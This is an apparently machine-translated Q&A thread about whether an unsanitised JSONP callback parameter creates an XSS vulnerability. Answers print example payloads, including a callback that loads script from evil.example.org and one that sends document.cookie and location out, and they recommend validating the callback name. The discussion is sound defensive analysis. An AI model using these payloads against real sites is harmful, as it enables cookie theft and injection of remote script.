2012-01-05 33 views
6

Một số khách hàng của chúng tôi đã nói về lỗ hổng XSS được nhận biết trong tất cả các điểm cuối JSONP của chúng tôi, nhưng tôi không đồng ý về việc nó có thực sự tạo ra lỗ hổng hay không. Muốn nhận được ý kiến ​​của cộng đồng để chắc chắn rằng tôi không bỏ lỡ điều gì đó.Lỗ hổng jsonp xss rõ ràng

Vì vậy, như với bất kỳ hệ thống jsonp, chúng ta có một thiết bị đầu cuối như:

http://foo.com/jsonp?cb=callback123 

trong đó giá trị của tham số cb là tái hiện lại trở lại trong phản ứng:

callback123({"foo":"bar"}); 

Khách hàng đã phàn nàn rằng chúng tôi không lọc ra HTML trong thông số CB, do đó, họ sẽ tạo ra một ví dụ như vậy:

http://foo.com/jsonp?cb=<body onload="alert('h4x0rd');"/><!-- 

Rõ ràng đối với một URL trả về kiểu nội dung của text/html, điều này đặt ra một vấn đề trong đó trình duyệt hiển thị HTML đó và sau đó thực hiện javascript có khả năng độc hại trong trình xử lý tải. Có thể được sử dụng để ăn cắp cookie và gửi chúng đến trang web của kẻ tấn công, hoặc thậm chí để tạo ra một màn hình đăng nhập giả mạo cho lừa đảo. Người dùng sẽ kiểm tra tên miền và thấy rằng đó là miền mà anh ta tin tưởng, vì vậy anh ấy đã truy cập và đăng nhập.

Nhưng, trong trường hợp của chúng tôi, chúng tôi sẽ đặt tiêu đề loại nội dung là application/javascript gây ra nhiều hành vi khác nhau trong các trình duyệt khác nhau. tức là Firefox chỉ hiển thị văn bản thô, trong khi IE mở ra hộp thoại "lưu dưới dạng ...". Tôi không xem xét một trong hai thứ đó là đặc biệt có thể khai thác được. Người dùng Firefox sẽ không đọc văn bản độc hại bảo anh ta nhảy khỏi cây cầu và nghĩ nhiều về nó. Và người dùng IE có thể sẽ bị nhầm lẫn bởi hộp thoại lưu dưới dạng và nhấn hủy.

Tôi đoán tôi có thể thấy một trường hợp người dùng IE bị lừa lưu và mở tệp .js, sau đó chuyển qua công cụ JScript microsoft và nhận tất cả các loại quyền truy cập vào máy của người dùng; nhưng điều đó có vẻ khó xảy ra. Đó có phải là mối đe dọa lớn nhất ở đây hay là có một số lỗ hổng khác mà tôi đã bỏ lỡ?

(Rõ ràng là tôi sẽ "sửa" bằng cách đặt vào bộ lọc để chỉ chấp nhận mã nhận diện javascript hợp lệ, với một số giới hạn độ dài chỉ trong trường hợp; nhưng tôi chỉ muốn một hộp thoại về những mối đe dọa khác mà tôi có thể đã bỏ lỡ .)

+0

"Tôi chỉ muốn một hộp thoại về những gì các mối đe dọa khác tôi có thể đã bỏ lỡ "câu hỏi là gì .. và cảm ơn Thiên Chúa rằng khách hàng chỉ" phàn nàn "Tôi ngạc nhiên khi họ không tấn công trang web của bạn! – TheBlackBenzKid

+0

Ngoài ra. tài liệu.viết và innerHTML - Tôi đã tìm thấy cả hai lệnh này làm giải pháp khi sử dụng các tiêu đề ứng dụng/javascript trên máy chủ nginx của tôi - giải quyết IE của tôi hoặc bất kỳ vấn đề nào khác. Trang chỉ thực hiện văn bản hoặc mã như bình thường – TheBlackBenzKid

Trả lời

1

Không có gì để ngăn họ làm điều gì đó chèn mã, nếu đúng như vậy.

Hãy tưởng tượng URL như http://example.com/jsonp?cb=HTMLFormElement.prototype.submit = function() { /* send form data to some third-party server */ };foo. Khi điều này được khách hàng nhận, tùy thuộc vào cách bạn xử lý JSONP, bạn có thể giới thiệu khả năng chạy JS của sự phức tạp tùy ý. Đối với cách này là một vector tấn công: hãy tưởng tượng một proxy HTTP, đó là proxy chuyển tiếp minh bạch cho tất cả các URL ngoại trừ http://example.com/jsonp, nơi nó lấy phần cb của chuỗi truy vấn và thêm một số JS độc hại trước nó và chuyển hướng vào URL đó.

+4

Ehhh, bạn giả định rằng hacker đã định tuyến người dùng thông qua một proxy độc hại dưới sự kiểm soát của anh ta. Hacker không cần muck với các tham số JSONP của tôi trong trường hợp đó. Anh ta có thể chèn bất cứ thứ gì anh ta muốn bất cứ nơi nào anh ta muốn. –

+0

Đúng --- nhưng làm điều đó cho phép nó được thực hiện tinh tế hơn nhiều. – gsnedders

2

Trang web của bạn sẽ có lỗ hổng XSS nếu tên của cuộc gọi lại đó (giá trị "cb") bắt nguồn từ một số giá trị trước đó khác. Thực tế là người dùng có thể tạo URL theo cách thủ công để gửi JavaScript thông qua API JSONP của bạn và ngược lại không thú vị hơn thực tế là họ có thể chạy cùng một JavaScript đó trực tiếp thông qua bảng điều khiển JavaScript của trình duyệt.

Bây giờ, nếu trang web của bạn gửi lại một số nội dung JSON đến cuộc gọi lại đã sử dụng dữ liệu nhập của người dùng chưa được lọc từ biểu mẫu hoặc từ một số biểu mẫu khác đã lưu trước đó vào cơ sở dữ liệu của bạn thì bạn sẽ gặp sự cố .Giống như, nếu bạn có trường "Nhận xét" trong phản hồi của mình:

callback123({ "restaurantName": "Dirty Pete's Burgers", "comment": "x"+alert("haxored")+"y" }) 

thì nhận xét đó, có giá trị là x"+alert("haxored")+"y, sẽ là một cuộc tấn công XSS. Tuy nhiên, bất kỳ bộ mã hóa JSON tốt nào cũng sẽ khắc phục điều đó bằng cách trích dẫn các ký tự trích dẫn kép.

Điều đó nói rằng, sẽ không có hại gì trong việc đảm bảo rằng tên gọi lại là một mã định danh JavaScript hợp lệ. Có thực sự không nhiều khác bạn có thể làm anyway, kể từ khi định nghĩa dịch vụ JSONP công cộng của bạn, để hoạt động đúng, được cho là làm bất cứ điều gì trang khách hàng muốn nó làm.

0

Như Pointy cho biết, chỉ gọi trực tiếp URL là không thể khai thác được. Tuy nhiên, nếu bất kỳ mã javascript nào của bạn thực hiện cuộc gọi đến dịch vụ JSON với dữ liệu do người dùng cung cấp và hiển thị các giá trị trong phản hồi cho tài liệu hoặc phản hồi của eval() s (cho dù hiện tại hoặc đôi khi trong tương lai khi ứng dụng của bạn phát triển theo thời gian) thì bạn có một lỗ hổng XSS thực sự có thể khai thác được.

Cá nhân tôi vẫn coi đây là một lỗ hổng có nguy cơ thấp, mặc dù nó có thể không được khai thác ngày hôm nay. Tại sao không giải quyết nó ngay bây giờ và loại bỏ nguy cơ của nó là một phần trách nhiệm cho việc giới thiệu một lỗ hổng có nguy cơ cao hơn tại một số điểm trong tương lai?

4

tiêm của họ sẽ phải một cái gì đó giống như </script><h1>pwned</h1>

Nó sẽ là tương đối tầm thường để bạn có thể xác minh rằng (PHP giả) $_GET['callback'] là một tên hàm JavaScript hợp lệ.

Toàn bộ điểm của JSONP là nhận các hạn chế của trình duyệt để thử và ngăn chặn các lỗ hổng kiểu XSS, do đó, ở một mức nào đó cần có sự tin cậy giữa nhà cung cấp JSONP và trang yêu cầu.

BAO GIỜ, lỗ hổng CHỈ xuất hiện nếu khách hàng không xử lý thông minh đầu vào của người dùng - nếu họ mã hóa tất cả tên gọi JSONP của họ, thì không có khả năng xảy ra lỗ hổng.

1

ví dụ khác sẽ được đưa ra hai yêu cầu như thế này:

http://example.org/api.php 
?callback=$.getScript('//evil.example.org/x.js');var dontcare=(

mà sẽ gọi:

$.getScript('//evil.example.org/x.js');var dontcare= ({ ... }); 

Và http (s): //evil.example.org/x.js sẽ yêu cầu:

http://example.org/api.php 
?callback=new Mothership({cookie:document.cookie, loc: window.location, apidata: 

mà sẽ gọi:

new Mothership({cookie:document.cookie, loc: window.location, apidata: { .. }); 

Khả năng là vô tận.

Xem Do I need to sanitize the callback parameter from a JSONP call? để biết ví dụ về cách khử trùng cuộc gọi lại JSON.

Cũng lưu ý rằng (một số phiên bản?) Internet Explorer bỏ qua tiêu đề Loại nội dung của bạn. Nó là cứng đầu và đi tìm cho chính nó trong vài byte đầu tiên, và nếu nó có vẻ như html-như nội dung nó ok với phân tích cú pháp và thực hiện nó tất cả như text/html tất cả các cách ...

+0

Hãy nhớ rằng việc chèn javascript chỉ không làm bất cứ điều gì cho bất cứ ai. Điều đó sẽ chỉ được đánh giá nếu nó được gọi là JSONP từ một số trang khác được kiểm soát bởi kẻ tấn công (hoặc người dùng đáng tin cậy của SDK của tôi). document.cookie và window.location sẽ trỏ đến trang web của người tiêu dùng SDK trong trường hợp đó ... sẽ không tiết lộ bất kỳ thông tin nào mà họ chưa có quyền truy cập. Về cơ bản họ chỉ lãng phí thời gian của họ với việc thực hiện quá phức tạp. –

+0

Khi HTML độc hại của nó được diễn giải, có một chút khác biệt. Cuộc tấn công trong trường hợp đó liên quan đến việc hacker lừa người dùng nhấp vào liên kết đặc biệt của anh ta, vì vậy toàn bộ shabang được thực hiện trong sandbox của trang web của tôi, không phải của hacker. Vì vậy, sau đó ông có thể đọc document.domain vv Tôi là, tò mò như những phiên bản của IE sẽ bỏ qua các loại nội dung mặc dù. Bạn có thêm thông tin về phiên bản nào hoặc nội dung ma thuật mà nó tìm kiếm không? Tôi thử nghiệm 7 8 và 9. Không có 6 cài đặt nữa, nhưng tôi nhớ lại nhìn thấy nó hoạt động theo cùng một cách trong quá khứ. –

Các vấn đề liên quan